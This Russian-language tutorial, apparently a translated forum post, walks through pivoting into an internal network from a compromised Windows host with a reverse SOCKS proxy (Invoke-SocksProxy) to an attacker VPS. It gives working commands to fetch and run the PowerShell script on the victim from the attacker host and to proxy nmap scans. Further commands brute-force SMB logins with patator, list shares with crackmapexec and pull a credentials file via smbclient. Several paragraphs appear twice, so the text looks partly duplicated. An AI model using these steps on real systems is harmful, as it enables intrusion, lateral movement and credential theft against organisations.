Обратные прокси-серверы позволяют хакерам (APT) направлять атаки в защищенные среды, поскольку они способны обходить ограничения входящего брандмауэра. Согласно недавним новостям, корпоративная сеть федерального агентства стала жертвой такой атаки. Хакеры использовали вариант Invoke-SocksProxy, инструмента обратного прокси с открытым исходным кодом, который можно найти на GitHub.
Как все было? Хакер установил Persistence и C2 в сети жертвы, создав постоянный туннель SSH / обратный прокси-сервер SOCKS / Сценарий PowerShell [Invoke-SocksProxy.ps1], создал обратный прокси-сервер SOCKS SMB, который разрешил соединения между VPS, контролируемым злоумышленником… и файловый сервер организации ... Invoke-SocksProxy.ps1 создает обратный прокси-сервер от локальной машины к инфраструктуре злоумышленника ...
Хакеры могут использовать прокси-сервер подключения для направления сетевого трафика между системами или выступать в качестве посредника для сетевых подключений. Чтобы избежать прямых подключений к своей инфраструктуре. Злоумышленники используют эти типы прокси-серверов для управления связью C2 [или] для уменьшения количества одновременных исходящих сетевых подключений. Злоумышленники могут объединить несколько прокси-серверов, чтобы еще больше замаскировать источник вредоносного трафика.
В этом примере скомпрометированный хост подключается к виртуальному частному серверу (VPS) злоумышленника с помощью lisneter Netcat по TCP / 4444 (показано ниже). Соединение Netcat должно оставаться открытым, поскольку это потребуется на более позднем этапе.
В Kali откройте новый терминал и подключитесь к VPS по SSH. Повысьте уровень до root с помощью команды su.
Используйте следующую команду git, чтобы клонировать мой репозиторий Invoke-SocksProxy . Репозиторий содержит два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1 .
ReverseSocksProxyHandler.py скрипт открыть порты 443 и 1337: порт 443 будет получать входящие соединения от хоста A . Порт 1337 будет действовать как порт прокси, настроенный с помощью прокси-цепочек в Kali. При выполнении терминал выдаст следующий вывод и должен оставаться открытым на время атаки.
Скрипт Invoke-SocksProxy.ps1 предназначен для выполнения на взломанном хосте. В Kali снова откройте новый терминал и подключитесь по SSH к VPS. Измените жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и разместите его на HTTP-сервере (например, Apache, Nginx или http.server).
В Netcat терминале измените каталог
В Kali установите proxychains4 и измените файл
Вот и все для настройки атаки. С запущенными ReverseSocksProxyHandler и Invoke-SocksProxy на VPS и Host A , можно совершать прокси-атаки во внутреннюю сеть.
Следующее сканирование Nmap выполнит сканирование TCP (-sT) с отключенными обнаружением хоста (-Pn) и разрешением DNS (-n). Аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.
Чтобы проксировать брутфорс атаки, используйте следующую команду patator. Сообщения Proxychains будут конфликтовать с выводом Patator, используйте
Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используйте следующую команду crackmapexec с обнаруженным паролем. Обратите внимание на «Private» общий ресурс с разрешениями на чтение и запись.
Чтобы получить доступ к содержимому общего ресурса, используйте команду
HTTP-серверы одинаково доступны с использованием аналогичных команд proxychains. Однако Firefox имеет встроенные функции, которые делают взаимодействие с прокси-серверами более удобным.
В Kali откройте Firefox и перейдите в « Настройки»> «Настройки сети»> «Настройки» и используйте «SOCKS Host» с IP-адресом и портом VPS (как показано ниже). Нажмите «ОК», чтобы сохранить конфигурацию.
Затем откройте новую вкладку и перейдите к любому HTTP-серверу во внутренней сети (например, 172.16.0.115:80).
При просмотре журналов HTTP-сервера на 172.16.0.115 запросы, похоже, исходят от 172.16.0.3 (Host A), скомпрометированного хоста.
Как все было? Хакер установил Persistence и C2 в сети жертвы, создав постоянный туннель SSH / обратный прокси-сервер SOCKS / Сценарий PowerShell [Invoke-SocksProxy.ps1], создал обратный прокси-сервер SOCKS SMB, который разрешил соединения между VPS, контролируемым злоумышленником… и файловый сервер организации ... Invoke-SocksProxy.ps1 создает обратный прокси-сервер от локальной машины к инфраструктуре злоумышленника ...
Что такое обратный прокси (Reverse Proxy)?
Согласно определению MITER ATT & CK Framework:Хакеры могут использовать прокси-сервер подключения для направления сетевого трафика между системами или выступать в качестве посредника для сетевых подключений. Чтобы избежать прямых подключений к своей инфраструктуре. Злоумышленники используют эти типы прокси-серверов для управления связью C2 [или] для уменьшения количества одновременных исходящих сетевых подключений. Злоумышленники могут объединить несколько прокси-серверов, чтобы еще больше замаскировать источник вредоносного трафика.
Настроить атаку
Топология сети включает несколько устройств, подключенных к внутренней сети (172.16.0.1/24). Для простоты предположим, что злоумышленник установил обратную оболочку на хосте A (172.16.0.3) с гнусным документом Word (показан ниже). При таком уровне компрометации система Kali злоумышленника не может напрямую взаимодействовать с серверами SMB и HTTP. Цель состоит в том, чтобы обнаружить службы на 172.16.0.1/24 при использовании хоста A в качестве прокси.
В этом примере скомпрометированный хост подключается к виртуальному частному серверу (VPS) злоумышленника с помощью lisneter Netcat по TCP / 4444 (показано ниже). Соединение Netcat должно оставаться открытым, поскольку это потребуется на более позднем этапе.
В Kali откройте новый терминал и подключитесь к VPS по SSH. Повысьте уровень до root с помощью команды su.
Используйте следующую команду git, чтобы клонировать мой репозиторий Invoke-SocksProxy . Репозиторий содержит два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1 .
Код:
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
ReverseSocksProxyHandler.py скрипт открыть порты 443 и 1337: порт 443 будет получать входящие соединения от хоста A . Порт 1337 будет действовать как порт прокси, настроенный с помощью прокси-цепочек в Kali. При выполнении терминал выдаст следующий вывод и должен оставаться открытым на время атаки.
Код:
root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py
Скрипт Invoke-SocksProxy.ps1 предназначен для выполнения на взломанном хосте. В Kali снова откройте новый терминал и подключитесь по SSH к VPS. Измените жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и разместите его на HTTP-сервере (например, Apache, Nginx или http.server).
В Netcat терминале измените каталог
$env:TEMP на Host A . Затем загрузите Invoke-SocksProxy.ps1 с VPS и запустите его. Он должен оставаться открытым. Злоумышленник может использовать запланированные задачи для автоматизации выполнения в реальном сценарии. Мы будем держать терминал открытым для этой демонстрации, чтобы понять, что происходит.
Код:
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
В Kali установите proxychains4 и измените файл
/etc/proxychains4.conf. Добавьте адрес VPS и порт 1337 в конец файла конфигурации.
Код:
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
Вот и все для настройки атаки. С запущенными ReverseSocksProxyHandler и Invoke-SocksProxy на VPS и Host A , можно совершать прокси-атаки во внутреннюю сеть.
Прокси Nmap и Crackmapexec с Proxychains
Есть ограничения при использовании Nmap с Proxychains. Например, Nmap не работает при обнаружении хоста, не может выполнить сканирование с помощью ping (ICMP) через SOCKS5. С учетом сказанного, обнаружение служб и портов по-прежнему эффективно (хотя и немного медленнее, поскольку требует полного сканирования TCP).Следующее сканирование Nmap выполнит сканирование TCP (-sT) с отключенными обнаружением хоста (-Pn) и разрешением DNS (-n). Аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.
Код:
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
Чтобы проксировать брутфорс атаки, используйте следующую команду patator. Сообщения Proxychains будут конфликтовать с выводом Patator, используйте
-q, чтобы решить этот конфликт. Обратите внимание на пароль («Passw0rd!»), обнаруженный во время атаки.
Код:
proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’
Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используйте следующую команду crackmapexec с обнаруженным паролем. Обратите внимание на «Private» общий ресурс с разрешениями на чтение и запись.
Код:
proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares
Чтобы получить доступ к содержимому общего ресурса, используйте команду
smbclient для просмотра желаемого («/Private») каталога. Обратите внимание на файл credentials.txt в общей папке. Используйте команду get с smbclient, чтобы получить файл и сохранить его локально в Kali.
Код:
proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’
HTTP-серверы одинаково доступны с использованием аналогичных команд proxychains. Однако Firefox имеет встроенные функции, которые делают взаимодействие с прокси-серверами более удобным.
В Kali откройте Firefox и перейдите в « Настройки»> «Настройки сети»> «Настройки» и используйте «SOCKS Host» с IP-адресом и портом VPS (как показано ниже). Нажмите «ОК», чтобы сохранить конфигурацию.
Затем откройте новую вкладку и перейдите к любому HTTP-серверу во внутренней сети (например, 172.16.0.115:80).
При просмотре журналов HTTP-сервера на 172.16.0.115 запросы, похоже, исходят от 172.16.0.3 (Host A), скомпрометированного хоста.